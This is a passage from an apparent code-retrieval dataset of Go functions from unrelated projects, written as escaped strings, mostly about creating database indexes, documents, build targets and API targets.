indexContents {\r\n\t\ts := fmt.Sprintln(indexContents[i])\r\n\t\tbc, err := w.WriteString(s)\r\n\t\tcheck(err)\r\n\t\tif bc < len(s) {\r\n\t\t\tpanic(fmt.Sprintf(\"Couldn't write to %s\", name))\r\n\t\t}\r\n\t}\r\n\tw.Flush()\r\n\treturn\r\n}", "func (ec *ElasticClient) Create(indexname string, indextype string, jsondata interface{}) (string, error) {\n\tctx := ec.ctx\n\tid := genHashedID(jsondata)\n\n\tdebuges(\"Debug:Printing body %s\\n\", jsondata)\n\tresult, err := ec.client.Index().\n\t\tIndex(string(indexname)).\n\t\tType(string(indextype)).\n\t\tId(id).\n\t\tBodyJson(jsondata).\n\t\tDo(ctx)\n\tif err != nil {\n\t\t// Handle error\n\t\tdebuges(\"Create document Error %#v\", err)\n\t\treturn id, err\n\t}\n\tdebuges(\"Debug:Indexed %s to index %s, type %s\\n\", result.Id, result.Index, result.Type)\n\t// Flush to make sure the documents got written.\n\t// Flush asks Elasticsearch to free memory from the index and\n\t// flush data to disk.\n\t_, err = ec.client.Flush().Index(string(indexname)).Do(ctx)\n\treturn id, err\n\n}", "func (iv IndexView) CreateMany(ctx context.Context, models []IndexModel, opts ...*options.CreateIndexesOptions) ([]string, error) {\n\tnames := make([]string, 0, len(models))\n\n\tvar indexes bsoncore.Document\n\taidx, indexes := bsoncore.AppendArrayStart(indexes)\n\n\tfor i, model := range models {\n\t\tif model.Keys == nil {\n\t\t\treturn nil, fmt.Errorf(\"index model keys cannot be nil\")\n\t\t}\n\n\t\tif isUnorderedMap(model.Keys) {\n\t\t\treturn nil, ErrMapForOrderedArgument{\"keys\"}\n\t\t}\n\n\t\tkeys, err := marshal(model.Keys, iv.coll.bsonOpts, iv.coll.registry)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tname, err := getOrGenerateIndexName(keys, model)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnames = append(names, name)\n\n\t\tvar iidx int32\n\t\tiidx, indexes = bsoncore.AppendDocumentElementStart(indexes, strconv.Itoa(i))\n\t\tindexes = bsoncore.AppendDocumentElement(indexes, \"key\", keys)\n\n\t\tif model.Options == nil {\n\t\t\tmodel.Options = options.Index()\n\t\t}\n\t\tmodel.Options.SetName(name)\n\n\t\toptsDoc, err := iv.createOptionsDoc(model.Options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tindexes = bsoncore.AppendDocument(indexes, optsDoc)\n\n\t\tindexes, err = bsoncore.AppendDocumentEnd(indexes, iidx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tindexes, err := bsoncore.AppendArrayEnd(indexes, aidx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsess := sessionFromContext(ctx)\n\n\tif sess == nil && iv.coll.client.sessionPool != nil {\n\t\tsess = session.NewImplicitClientSession(iv.coll.client.sessionPool, iv.coll.client.id)\n\t\tdefer sess.EndSession()\n\t}\n\n\terr = iv.coll.client.validSession(sess)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\twc := iv.coll.writeConcern\n\tif sess.TransactionRunning() {\n\t\twc = nil\n\t}\n\tif !writeconcern.AckWrite(wc) {\n\t\tsess = nil\n\t}\n\n\tselector := makePinnedSelector(sess, iv.coll.writeSelector)\n\n\toption := options.MergeCreateIndexesOptions(opts...)\n\n\top := operation.NewCreateIndexes(indexes).\n\t\tSession(sess).WriteConcern(wc).ClusterClock(iv.coll.client.clock).\n\t\tDatabase(iv.coll.db.name).Collection(iv.coll.name).CommandMonitor(iv.coll.client.monitor).\n\t\tDeployment(iv.coll.client.deployment).ServerSelector(selector).ServerAPI(iv.coll.client.serverAPI).\n\t\tTimeout(iv.coll.client.timeout).MaxTime(option.MaxTime)\n\tif option.CommitQuorum != nil {\n\t\tcommitQuorum, err := marshalValue(option.CommitQuorum, iv.coll.bsonOpts, iv.coll.registry)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\top.CommitQuorum(commitQuorum)\n\t}\n\n\terr = op.Execute(ctx)\n\tif err != nil {\n\t\t_, err = processWriteError(err)\n\t\treturn nil, err\n\t}\n\n\treturn names, nil\n}", "func SaveIndex(target string, source QueryList, verbose bool) {\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s...\", target), verbose)\n\tfile, err := os.Create(target)\n\tcheckResult(err)\n\tdefer file.Close()\n\n\tgr := gzip.NewWriter(file)\n\tdefer gr.Close()\n\n\tencoder := gob.NewEncoder(gr)\n\n\terr = encoder.Encode(source.Names)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v sequence names saved\", len(source.Names)), verbose)\n\n\terr = encoder.Encode(source.SeedSize)\n\tcheckResult(err)\n\n\terr = encoder.Encode(source.Cgst)\n\tcheckResult(err)\n\n\t// save the index, but go has a size limit\n\tindexSize := len(source.Index)\n\terr = encoder.Encode(indexSize)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v queries to save...\", indexSize), verbose)\n\n\tcount := 0\n\tfor key, value := range source.Index {\n\t\terr = encoder.Encode(key)\n\t\tcheckResult(err)\n\t\terr = encoder.Encode(value)\n\t\tcheckResult(err)\n\t\tcount++\n\t\tif count%10000 == 0 {\n\t\t\tlogm(\"INFO\", fmt.Sprintf(\"processing: saved %v items\", count), false)\n\t\t}\n\t}\n\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s: done\", target), verbose)\n}", "func (db *MongoDbBridge) createIndexIfNotExists(col *mongo.Collection, view *mongo.IndexView, ix mongo.IndexModel, known []*mongo.IndexSpecification) error {\n\t// throw if index is not explicitly named\n\tif ix.Options.Name == nil {\n\t\treturn fmt.Errorf(\"index name not defined on %s\", col.Name())\n\t}\n\n\t// do we know the index?\n\tfor _, spec := range known {\n\t\tif spec.Name == *ix.Options.Name {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tcreatedName, err := view.CreateOne(context.Background(), ix)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create index %s on %s\", *ix.Options.Name, col.Name())\n\t}\n\tdb.log.Noticef(\"created index %s on %s\", createdName, col.Name())\n\treturn nil\n}", "func TestEnsureFullTextIndex(t *testing.T) {\n\tc := createClient(t, nil)\n\tdb := ensureDatabase(nil, c, \"index_test\", nil, t)\n\n\ttestOptions := []*driver.EnsureFullTextIndexOptions{\n\t\tnil,\n\t\t{MinLength: 2},\n\t\t{MinLength: 20},\n\t}\n\n\tfor i, options := range testOptions {\n\t\tcol := ensureCollection(nil, db, fmt.Sprintf(\"fulltext_index_test_%d\", i), nil, t)\n\n\t\tidx, created, err := col.EnsureFullTextIndex(nil, []string{\"name\"}, options)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to create new index: %s\", describe(err))\n\t\t}\n\t\tif !created {\n\t\t\tt.Error(\"Expected created to be true, got false\")\n\t\t}\n\t\tif idxType := idx.Type(); idxType != driver.FullTextIndex {\n\t\t\tt.Errorf(\"Expected FullTextIndex, found `%s`\", idxType)\n\t\t}\n\t\tif options != nil && idx.MinLength() != options.MinLength {\n\t\t\tt.Errorf(\"Expected %d, found `%d`\", options.MinLength, idx.MinLength())\n\t\t}\n\n\t\t// Index must exists now\n\t\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\n\t\t\tt.Fatalf(\"Failed to check index '%s' exists: %s\", idx.Name(), describe(err))\n\t\t} else if !found {\n\t\t\tt.Errorf(\"Index '%s' does not exist, expected it to exist\", idx.Name())\n\t\t}\n\n\t\t// Ensure again, created must be false now\n\t\t_, created, err = col.EnsureFullTextIndex(nil, []string{\"name\"}, options)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to re-create index: %s\", describe(err))\n\t\t}\n\t\tif created {\n\t\t\tt.Error(\"Expected created to be false, got true\")\n\t\t}\n\n\t\t// Remove index\n\t\tif err := idx.Remove(nil); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove index '%s': %s\", idx.Name(), describe(err))\n\t\t}\n\n\t\t// Index must not exists now\n\t\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\n\t\t\tt.Fatalf(\"Failed to check index '%s' exists: %s\", idx.Name(), describe(err))\n\t\t} else if found {\n\t\t\tt.Errorf(\"Index '%s' does exist, expected it not to exist\", idx.Name())\n\t\t}\n\t}\n}", "func (m *MongoDB) CreateIndex(name, key string, order int) (string, error) {\n\tcoll, ok := m.coll[name]\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"not defined collection %s\", name)\n\t}\n\n\tasscending := 1\n\tif order == -1 {\n\t\tasscending = -1\n\t}\n\n\tmodel := mongo.IndexModel{\n\t\tKeys: bson.D{{Key: key, Value: asscending}},\n\t\t//Options: options.Index().SetBackground(true),\n\t}\n\n\topts := options.CreateIndexes().SetMaxTime(2 * time.Second)\n\n\treturn coll.Indexes().CreateOne(m.ctx, model, opts)\n}", "func build_index(pss []Post, index, pre, next int, indexname string) {\n\n\tvar doc bytes.Buffer\n\tvar body, name string\n\tvar ips Indexposts\n\tvar tml *template.Template\n\tvar err error\n\tips.Conf = conf\n\tips.Posts = pss\n\tips.Slug = indexname\n\tif pre != 0 {\n\t\tips.PreviousF = true\n\t\tips.Previous = pre\n\t} else {\n\t\tips.PreviousF = false\n\t}\n\tif next > 0 {\n\t\tips.NextF = true\n\t\tips.Next = next\n\t} else if next == -1 {\n\t\tips.NextF = false\n\t} else {\n\t\tips.NextF = true\n\t\tips.Next = next\n\t}\n\tif next == 0 {\n\t\tips.NextLast = true\n\t}\n\n\tips.Links = conf.Links\n\tips.Logo = conf.Logo\n\tif indexname == \"index\" {\n\t\tips.Main = true\n\t} else {\n\t\tips.Main = false\n\t}\n\tips.Disqus = false\n\tif indexname == \"index\" {\n\t\ttml, err = template.ParseFiles(\"./templates/index.html\", \"./templates/base.html\")\n\t} else {\n\t\ttml, err = template.ParseFiles(\"./templates/cat-index.html\", \"./templates/base.html\")\n\t}\n\tif err != nil {\n\t\tfmt.Println(\"Error in parsing: \", err)\n\t}\n\terr = tml.ExecuteTemplate(&doc, \"base\", ips)\n\tif err != nil {\n\t\tfmt.Println(\"Error in executing the template: \", err)\n\t}\n\tbody = doc.String()\n\tif next == -1 {\n\t\tif indexname == \"index\" {\n\t\t\tname = fmt.Sprintf(\"./output/%s.html\", indexname)\n\t\t} else {\n\t\t\tname = fmt.Sprintf(\"./output/categories/%s.html\", indexname)\n\t\t}\n\t} else {\n\t\tif indexname == \"index\" {\n\t\t\tname = fmt.Sprintf(\"./output/%s-%d.html\", indexname, index)\n\t\t} else {\n\t\t\tname = fmt.Sprintf(\"./output/categories/%s-%d.html\", indexname, index)\n\t\t}\n\t}\n\tf, err := os.Create(name)\n\tdefer f.Close()\n\tn, err := io.WriteString(f, body)\n\n\tif err != nil {\n\t\tfmt.Println(\"Write error: \", n, err)\n\t}\n\t// For Sitemap\n\tsmap := Sitemap{Loc: conf.URL + name[9:], Lastmod: current_time.Format(\"2006-01-02\"), Priority: \"0.5\"}\n\tSDB[smap.Loc] = smap\n}", "func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}", "func NewInvertedIndex(\n\treader store.Input,\n\ttable invertedIndexStructure,\n) InvertedIndex {\n\treturn &invertedIndex{\n\t\treader: reader,\n\t\ttable: table,\n\t}\n}", "func New(data []byte) *Index {}", "func createIndexes(ts *Schema, ti *Info, idxs []schema.Index, store *stor.Stor) {\n\tif len(idxs) == 0 {\n\t\treturn\n\t}\n\tts.Indexes = slices.Clip(ts.Indexes) // copy on write\n\tnold := len(ts.Indexes)\n\tfor i := range idxs {\n\t\tix := &idxs[i]\n\t\tif ts.FindIndex(ix.Columns) != nil {\n\t\t\tpanic(\"duplicate index: \" +\n\t\t\t\tstr.Join(\"(,)\", ix.Columns) + \" in \" + ts.Table)\n\t\t}\n\t\tts.Indexes = append(ts.Indexes, *ix)\n\t}\n\tidxs = ts.SetupNewIndexes(nold)\n\tn := len(ti.Indexes)\n\tti.Indexes = slices.Clip(ti.Indexes) // copy on write\n\tfor i := range idxs {\n\t\tbt := btree.CreateBtree(store, &ts.Indexes[n+i].Ixspec)\n\t\tti.Indexes = append(ti.Indexes, index.OverlayFor(bt))\n\t}\n}", "func (g *Generator) generateDDLsForCreateIndex(tableName string, desiredIndex Index, action string, statement string) ([]string, error) {\n\tddls := []string{}\n\n\tcurrentTable := findTableByName(g.currentTables, tableName)\n\tif currentTable == nil {\n\t\treturn nil, fmt.Errorf(\"%s is performed for inexistent table '%s': '%s'\", action, tableName, statement)\n\t}\n\n\tcurrentIndex := findIndexByName(currentTable.indexes, desiredIndex.name)\n\tif currentIndex == nil {\n\t\t// Index not found, add index.\n\t\tddls = append(ddls, statement)\n\t\tcurrentTable.indexes = append(currentTable.indexes, desiredIndex)\n\t} else {\n\t\t// Index found. If it's different, drop and add index.\n\t\tif !areSameIndexes(*currentIndex, desiredIndex) {\n\t\t\tddls = append(ddls, g.generateDropIndex(currentTable.name, currentIndex.name))\n\t\t\tddls = append(ddls, statement)\n\n\t\t\tnewIndexes := []Index{}\n\t\t\tfor _, currentIndex := range currentTable.indexes {\n\t\t\t\tif currentIndex.name == desiredIndex.name {\n\t\t\t\t\tnewIndexes = append(newIndexes, desiredIndex)\n\t\t\t\t} else {\n\t\t\t\t\tnewIndexes = append(newIndexes, currentIndex)\n\t\t\t\t}\n\t\t\t}\n\t\t\tcurrentTable.indexes = newIndexes // simulate index change. TODO: use []*Index in table and destructively modify it\n\t\t}\n\t}\n\n\t// Examine indexes in desiredTable to delete obsoleted indexes later\n\tdesiredTable := findTableByName(g.desiredTables, tableName)\n\tif desiredTable == nil {\n\t\treturn nil, fmt.Errorf(\"%s is performed before create table '%s': '%s'\", action, tableName, statement)\n\t}\n\tif containsString(convertIndexesToIndexNames(desiredTable.indexes), desiredIndex.name) {\n\t\treturn nil, fmt.Errorf(\"index '%s' is doubly created against table '%s': '%s'\", desiredIndex.name, tableName, statement)\n\t}\n\tdesiredTable.indexes = append(desiredTable.indexes, desiredIndex)\n\n\treturn ddls, nil\n}", "func NewTargetLister(indexer cache.Indexer) TargetLister {\n\treturn &targetLister{indexer: indexer}\n}", "func BuildTestDocument() *did.Document {\n\tdoc := &did.Document{}\n\n\tmainDID, _ := didlib.Parse(testDID)\n\n\tdoc.ID = *mainDID\n\tdoc.Context = did.DefaultDIDContextV1\n\tdoc.Controller = mainDID\n\n\t// Public Keys\n\tpk1 := did.DocPublicKey{}\n\tpk1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td1, _ := didlib.Parse(pk1ID)\n\tpk1.ID = d1\n\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\n\tpk1.Controller = mainDID\n\thexKey := \"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\"\n\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\n\n\tdoc.PublicKeys = []did.DocPublicKey{pk1}\n\n\t// Service endpoints\n\tep1 := did.DocService{}\n\tep1ID := fmt.Sprintf(\"%v#vcr\", testDID)\n\td2, _ := didlib.Parse(ep1ID)\n\tep1.ID = *d2\n\tep1.Type = \"CredentialRepositoryService\"\n\tep1.ServiceEndpoint = \"https://repository.example.com/service/8377464\"\n\tep1.ServiceEndpointURI = utils.StrToPtr(\"https://repository.example.com/service/8377464\")\n\n\tdoc.Services = []did.DocService{ep1}\n\n\t// Authentication\n\taw1 := did.DocAuthenicationWrapper{}\n\taw1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td3, _ := didlib.Parse(aw1ID)\n\taw1.ID = d3\n\taw1.IDOnly = true\n\n\taw2 := did.DocAuthenicationWrapper{}\n\taw2ID := fmt.Sprintf(\"%v#keys-2\", testDID)\n\td4, _ := didlib.Parse(aw2ID)\n\taw2.ID = d4\n\taw2.IDOnly = false\n\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\n\taw2.Controller = mainDID\n\thexKey2 := \"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\"\n\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\n\n\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\n\n\treturn doc\n}", "func NewIndexer(\n\tdb database.Database,\n\tlog logging.Logger,\n\tmetricsNamespace string,\n\tmetricsRegisterer prometheus.Registerer,\n\tallowIncompleteIndices bool,\n) (AddressTxsIndexer, error) {\n\ti := &indexer{\n\t\tdb: db,\n\t\tlog: log,\n\t}\n\t// initialize the indexer\n\tif err := checkIndexStatus(i.db, true, allowIncompleteIndices); err != nil {\n\t\treturn nil, err\n\t}\n\t// initialize the metrics\n\tif err := i.metrics.initialize(metricsNamespace, metricsRegisterer); err != nil {\n\t\treturn nil, err\n\t}\n\treturn i, nil\n}", "func New(transport *transport.Transport) *Indices {\n\treturn &Indices{\n\n\t\ttransport: transport,\n\t}\n}", "func NewTTExtractor(\n\tdatabase db.Writer,\n\tconf *cnf.VTEConf,\n\tcolgenFn colgen.AlignedColGenFn,\n\tstatusChan chan Status,\n\tstopChan <-chan os.Signal,\n) (*TTExtractor, error) {\n\tfilter, err := LoadCustomFilter(conf.Filter.Lib, conf.Filter.Fn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tans := &TTExtractor{\n\t\tdatabase: database,\n\t\tdbConf: &conf.DB,\n\t\tcorpusID: conf.Corpus,\n\t\tatomStruct: conf.AtomStructure,\n\t\tatomParentStruct: conf.AtomParentStructure,\n\t\tlastAtomOpenLine: -1,\n\t\tstructures: conf.Structures,\n\t\tcolgenFn: colgenFn,\n\t\tngramConf: &conf.Ngrams,\n\t\tcolCounts: make(map[string]*ptcount.NgramCounter),\n\t\tcolumnModders: make([]*modders.StringTransformerChain, len(conf.Ngrams.AttrColumns)),\n\t\tfilter: filter,\n\t\tmaxNumErrors: conf.MaxNumErrors,\n\t\tcurrSentence: make([][]int, 0, 20),\n\t\tvalueDict: ptcount.NewWordDict(),\n\t\tstatusChan: statusChan,\n\t\tstopChan: stopChan,\n\t}\n\n\tfor i, m := range conf.Ngrams.ColumnMods {\n\t\tans.columnModders[i] = modders.NewStringTransformerChain(m)\n\t}\n\tif conf.StackStructEval {\n\t\tans.attrAccum = newStructStack()\n\n\t} else {\n\t\tans.attrAccum = newDefaultAccum()\n\t}\n\n\treturn ans, nil\n}", "func createTarget(s *scope, args []pyObject) *core.BuildTarget {\n\tisTruthy := func(i int) bool {\n\t\treturn args[i] != nil && args[i] != None && args[i].IsTruthy()\n\t}\n\tname := string(args[nameBuildRuleArgIdx].(pyString))\n\ttestCmd := args[testCMDBuildRuleArgIdx]\n\ttest := isTruthy(testBuildRuleArgIdx)\n\t// A bunch of error checking first\n\ts.NAssert(name == \"all\", \"'all' is a reserved build target name.\")\n\ts.NAssert(name == \"\", \"Target name is empty\")\n\ts.NAssert(strings.ContainsRune(name, '/'), \"/ is a reserved character in build target names\")\n\ts.NAssert(strings.ContainsRune(name, ':'), \": is a reserved character in build target names\")\n\n\tif tag := args[tagBuildRuleArgIdx]; tag != nil {\n\t\tif tagStr := string(tag.(pyString)); tagStr != \"\" {\n\t\t\tname = tagName(name, tagStr)\n\t\t}\n\t}\n\tlabel, err := core.TryNewBuildLabel(s.pkg.Name, name)\n\ts.Assert(err == nil, \"Invalid build target name %s\", name)\n\tlabel.Subrepo = s.pkg.SubrepoName\n\n\ttarget := core.NewBuildTarget(label)\n\ttarget.Subrepo = s.pkg.Subrepo\n\ttarget.IsBinary = isTruthy(binaryBuildRuleArgIdx)\n\ttarget.IsSubrepo = isTruthy(subrepoArgIdx)\n\ttarget.NeedsTransitiveDependencies = isTruthy(needsTransitiveDepsBuildRuleArgIdx)\n\ttarget.OutputIsComplete = isTruthy(outputIsCompleteBuildRuleArgIdx)\n\ttarget.Sandbox = isTruthy(sandboxBuildRuleArgIdx)\n\ttarget.TestOnly = test || isTruthy(testOnlyBuildRuleArgIdx)\n\ttarget.ShowProgress.Set(isTruthy(progressBuildRuleArgIdx))\n\ttarget.IsRemoteFile = isTruthy(urlsBuildRuleArgIdx)\n\ttarget.IsTextFile = args[cmdBuildRuleArgIdx] == textFileCommand\n\ttarget.Local = isTruthy(localBuildRuleArgIdx)\n\ttarget.ExitOnError = isTruthy(exitOnErrorArgIdx)\n\tfor _, o := range asStringList(s, args[outDirsBuildRuleArgIdx], \"output_dirs\") {\n\t\ttarget.AddOutputDirectory(o)\n\t}\n\n\tvar size *core.Size\n\tif args[sizeBuildRuleArgIdx] != None {\n\t\tname := string(args[sizeBuildRuleArgIdx].(pyString))\n\t\tsize = mustSize(s, name)\n\t\ttarget.AddLabel(name)\n\t}\n\tif args[passEnvBuildRuleArgIdx] != None {\n\t\tl := asStringList(s, mustList(args[passEnvBuildRuleArgIdx]), \"pass_env\")\n\t\ttarget.PassEnv = &l\n\t}\n\n\ttarget.BuildTimeout = sizeAndTimeout(s, size, args[buildTimeoutBuildRuleArgIdx], s.state.Config.Build.Timeout)\n\ttarget.Stamp = isTruthy(stampBuildRuleArgIdx)\n\ttarget.IsFilegroup = args[cmdBuildRuleArgIdx] == filegroupCommand\n\tif desc := args[buildingDescriptionBuildRuleArgIdx]; desc != nil && desc != None {\n\t\ttarget.BuildingDescription = string(desc.(pyString))\n\t}\n\tif target.IsBinary {\n\t\ttarget.AddLabel(\"bin\")\n\t}\n\tif target.IsRemoteFile {\n\t\ttarget.AddLabel(\"remote\")\n\t}\n\ttarget.Command, target.Commands = decodeCommands(s, args[cmdBuildRuleArgIdx])\n\tif test {\n\t\ttarget.Test = new(core.TestFields)\n\n\t\tif flaky := args[flakyBuildRuleArgIdx]; flaky != nil {\n\t\t\tif flaky == True {\n\t\t\t\ttarget.Test.Flakiness = defaultFlakiness\n\t\t\t\ttarget.AddLabel(\"flaky\") // Automatically label flaky tests\n\t\t\t} else if flaky == False {\n\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t} else if i, ok := flaky.(pyInt); ok {\n\t\t\t\tif int(i) <= 1 {\n\t\t\t\t\ttarget.Test.Flakiness = 1\n\t\t\t\t} else {\n\t\t\t\t\ttarget.Test.Flakiness = uint8(i)\n\t\t\t\t\ttarget.AddLabel(\"flaky\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\ttarget.Test.Flakiness = 1\n\t\t}\n\t\tif testCmd != nil && testCmd != None {\n\t\t\ttarget.Test.Command, target.Test.Commands = decodeCommands(s, args[testCMDBuildRuleArgIdx])\n\t\t}\n\t\ttarget.Test.Timeout = sizeAndTimeout(s, size, args[testTimeoutBuildRuleArgIdx], s.state.Config.Test.Timeout)\n\t\ttarget.Test.Sandbox = isTruthy(testSandboxBuildRuleArgIdx)\n\t\ttarget.Test.NoOutput = isTruthy(noTestOutputBuildRuleArgIdx)\n\t}\n\n\tif err := validateSandbox(s.state, target); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif s.state.Config.Build.Config == \"dbg\" {\n\t\ttarget.Debug = new(core.DebugFields)\n\t\ttarget.Debug.Command, _ = decodeCommands(s, args[debugCMDBuildRuleArgIdx])\n\t}\n\treturn target\n}", "func NewTarget(ctx context.Context, envAcc pkgadapter.EnvConfigAccessor, ceClient cloudevents.Client) pkgadapter.Adapter {\n\tenv := envAcc.(*envAccessor)\n\tlogger := logging.FromContext(ctx)\n\tmetrics.MustRegisterEventProcessingStatsView()\n\n\tclient, err := mongo.Connect(ctx, options.Client().ApplyURI(env.ServerURL))\n\tif err != nil {\n\t\tlogger.Panicw(\"error connecting to mongodb\", zap.Error(err))\n\t\treturn nil\n\t}\n\n\treplier, err := targetce.New(env.Component, logger.Named(\"replier\"),\n\t\ttargetce.ReplierWithStatefulHeaders(env.BridgeIdentifier),\n\t\ttargetce.ReplierWithStaticResponseType(v1alpha1.EventTypeMongoDBStaticResponse),\n\t\ttargetce.ReplierWithPayloadPolicy(targetce.PayloadPolicy(env.CloudEventPayloadPolicy)))\n\tif err != nil {\n\t\tlogger.Panicf(\"Error creating CloudEvents replier: %v\", err)\n\t}\n\n\tmt := &pkgadapter.MetricTag{\n\t\tResourceGroup: targets.MongoDBTargetResource.String(),\n\t\tNamespace: envAcc.GetNamespace(),\n\t\tName: envAcc.GetName(),\n\t}\n\n\treturn &adapter{\n\t\tmclient: client,\n\t\tdefaultDatabase: env.DefaultDatabase,\n\t\tdefaultCollection: env.DefaultCollection,\n\n\t\treplier: replier,\n\t\tceClient: ceClient,\n\t\tlogger: logger,\n\t\tsr: metrics.MustNewEventProcessingStatsReporter(mt),\n\t}\n}", "func (api *TelegramBotAPI) NewOutgoingDocument(recipient Recipient, fileName string, reader io.Reader) *OutgoingDocument {\n\treturn &OutgoingDocument{\n\t\toutgoingMessageBase: outgoingMessageBase{\n\t\t\toutgoingBase: outgoingBase{\n\t\t\t\tapi: api,\n\t\t\t\tRecipient: recipient,\n\t\t\t},\n\t\t},\n\t\toutgoingFileBase: outgoingFileBase{\n\t\t\tfileName: fileName,\n\t\t\tr: reader,\n\t\t},\n\t}\n}", "func (f CreateIdxOptFunc) ApplyOn(opt *AddRecordOpt) {\n\tf(&opt.CreateIdxOpt)\n}", "func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\n\tinvertedIndex := make(map[string][]*Node)\n\twg := &sync.WaitGroup{}\n\twg.Add(len(docs))\n\tfor _, d := range docs {\n\t\tgo func(doc Documenter) {\n\t\t\tsegments := segmenter.Segment([]byte(doc.Text()))\n\t\t\tfiltedSegments := stopword.Filter(segments, true)\n\t\t\tdoc.SetSegments(filtedSegments)\n\t\t\twg.Done()\n\t\t}(d)\n\t}\n\twg.Wait()\n\tfor _, doc := range docs {\n\t\tfor _, s := range doc.Segments() {\n\t\t\ttoken := s.Token()\n\t\t\tterm := token.Text()\n\t\t\tlist := invertedIndex[term]\n\t\t\tif list == nil {\n\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\tlist = []*Node{newNode}\n\t\t\t} else {\n\t\t\t\tisDupNode := false\n\t\t\t\tfor _, node := range list {\n\t\t\t\t\tif node.Id == doc.Id() {\n\t\t\t\t\t\tnode.TermFrequency += 1\n\t\t\t\t\t\tnewPosition := TermPosition{s.Start(), s.End()}\n\t\t\t\t\t\tnode.TermPositions = append(node.TermPositions, newPosition)\n\t\t\t\t\t\tisDupNode = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !isDupNode {\n\t\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\t\tlist = append(list, newNode)\n\t\t\t\t}\n\t\t\t}\n\t\t\tinvertedIndex[term] = list\n\t\t}\n\t}\n\treturn invertedIndex\n}", "func (mr *ClientMockRecorder) CreateTarget(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTarget\", reflect.TypeOf((*Client)(nil).CreateTarget), arg0, arg1)\n}", "func (msg MsgCreateIndex) Type() string { return \"create_index\" }", "func (dbclient *CouchDatabase) CreateNewIndexWithRetry(indexdefinition string, designDoc string) error {\n\t//get the number of retries\n\tmaxRetries := dbclient.CouchInstance.Conf.MaxRetries\n\n\t_, err := retry.Invoke(\n\t\tfunc() (interface{}, error) {\n\t\t\texists, err := dbclient.IndexDesignDocExists(designDoc)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif exists {\n\t\t\t\treturn nil, nil\n\t\t\t}\n\n\t\t\treturn dbclient.CreateIndex(indexdefinition)\n\t\t},\n\t\tretry.WithMaxAttempts(maxRetries),\n\t)\n\treturn err\n}", "func (a *AdminApiService) CreateTarget(ctx _context.Context, target Target) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/admin/target\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &target\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || 